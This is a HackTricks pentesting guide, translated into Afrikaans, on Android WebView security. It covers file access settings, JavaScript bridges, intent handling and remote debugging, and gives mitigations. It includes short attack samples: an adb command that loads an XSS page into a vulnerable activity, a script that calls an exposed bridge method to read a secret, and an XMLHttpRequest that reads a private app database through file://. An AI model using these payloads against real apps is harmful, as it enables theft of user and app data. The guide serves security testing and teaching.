hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

9.3 KiB
Raw Blame History

Webview Aanvalle

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Gids oor WebView Konfigurasies en Sekuriteit

Oorsig van WebView Swakhede

'n Kritiese aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's wat verband hou met WebView-gebruik te verminder.

WebView Voorbeeld

Lêertoegang in WebViews

Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die setAllowFileAccess() metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die android.permission.READ_EXTERNAL_STORAGE toestemming kan lêers vanaf eksterne stoorplekke lees deur 'n lêer-URL-skema (file://path/to/file) te gebruik.

Verouderde Funksies: Universele en Lêertoegang vanaf URL's

  • Universele Toegang vanaf Lêer-URL's: Hierdie verouderde funksie het kruis-oorsprongversoeke vanaf lêer-URL's toegelaat, wat 'n beduidende sekuriteitsrisiko vir moontlike XSS-aanvalle inhou. Die verstekinstelling is gedeaktiveer (false) vir programme wat Android Jelly Bean en nuwer teiken.
  • Om hierdie instelling te kontroleer, gebruik getAllowUniversalAccessFromFileURLs().
  • Om hierdie instelling te wysig, gebruik setAllowUniversalAccessFromFileURLs(boolean).
  • Lêertoegang vanaf Lêer-URL's: Hierdie funksie, ook verouderd, het toegang tot inhoud vanaf ander lêerskema-URL's beheer. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde sekuriteit.
  • Gebruik getAllowFileAccessFromFileURLs() om te kontroleer en setAllowFileAccessFromFileURLs(boolean) om in te stel.

Veilige Lêerlaai

Vir die deaktivering van lêersisteemtoegang terwyl steeds toegang tot bates en bronne, word die setAllowFileAccess() metode gebruik. Met Android R en hoër is die verstekinstelling false.

  • Kontroleer met getAllowFileAccess().
  • Aktiveer of deaktiveer met setAllowFileAccess(boolean).

WebViewAssetLoader

Die WebViewAssetLoader klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s)-URL's vir die toegang tot plaaslike bates en bronne, in ooreenstemming met die Same-Origin-beleid, wat CORS-bestuur fasiliteer.

loadUrl

Dit is 'n algemene funksie wat gebruik word om willekeurige URL's in 'n webviwe te laai:

webview.loadUrl("<url here>")

JavaScript en Intent Skema Hantering

  • JavaScript: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word via setJavaScriptEnabled(). Voorsoorsigtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwessies kan veroorsaak.
  • Intent Skema: WebViews kan die intent skema hanteer, wat moontlik kan lei tot uitbuitings as dit nie sorgvuldig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het 'n blootgestelde WebView parameter "support_url" ingesluit wat uitgebuit kon word om kruiswebwerfinskripsie (XSS) aanvalle uit te voer.

Kwesbare WebView

Uitbuitingsvoorbeeld deur adb te gebruik:

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"

{% endcode %}

Javascript-brug

'n Funksie wat deur Android voorsien word, maak dit moontlik vir JavaScript in 'n WebView om natiewe Android-app-funksies aan te roep. Dit word bereik deur die gebruik van die addJavascriptInterface-metode, wat JavaScript integreer met die natiewe Android-funksies, wat genoem word as 'n WebView JavaScript-brug. Voorsoorsigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript-brug-objek, wat 'n veiligheidsrisiko inhou as sensitiewe inligting deur hierdie brûe blootgestel word.

  • Uiterste versigtigheid is nodig vir programme wat Android-weergawes onder 4.2 teiken weens 'n kwesbaarheid wat afstandbeheer deur bose JavaScript moontlik maak deur refleksie te benut.

Implementering van 'n JavaScript-brug

  • JavaScript-brûe kan met natiewe kode interaksie hê, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView toe te voeg:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
  • Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld deur 'n XSS-aanval, maak dit moontlik om blootgestelde Java-metodes aan te roep:
<script>alert(javascriptBridge.getSecret());</script>
  • Om risiko's te verminder, beperk JavaScript-bruggebruik tot kode wat saam met die APK gestuur word en voorkom die laai van JavaScript vanaf afgeleë bronne. Stel vir ouer toestelle die minimum API-vlak op 17.

Refleksie-gebaseerde Afstandskode-uitvoering (RCE)

  • 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur 'n spesifieke lading uit te voer. Die @JavascriptInterface-annotasie voorkom egter ongemagtigde metode-toegang en beperk die aanvalsoppervlak.

Afstandsondersoek

  • Afstandsondersoek is moontlik met Chrome Developer Tools, wat interaksie en willekeurige JavaScript-uitvoering binne die WebView-inhoud moontlik maak.

Afstandsondersoek aktiveer

  • Afstandsondersoek kan geaktiveer word vir alle WebViews binne 'n toepassing deur:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Om voorwaardelik die foutopsporing te aktiveer gebaseer op die toepassing se toestand van foutopsporing:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Uitlek van willekeurige lêers

  • Wys die uitlek van willekeurige lêers deur middel van 'n XMLHttpRequest:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Verwysings

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: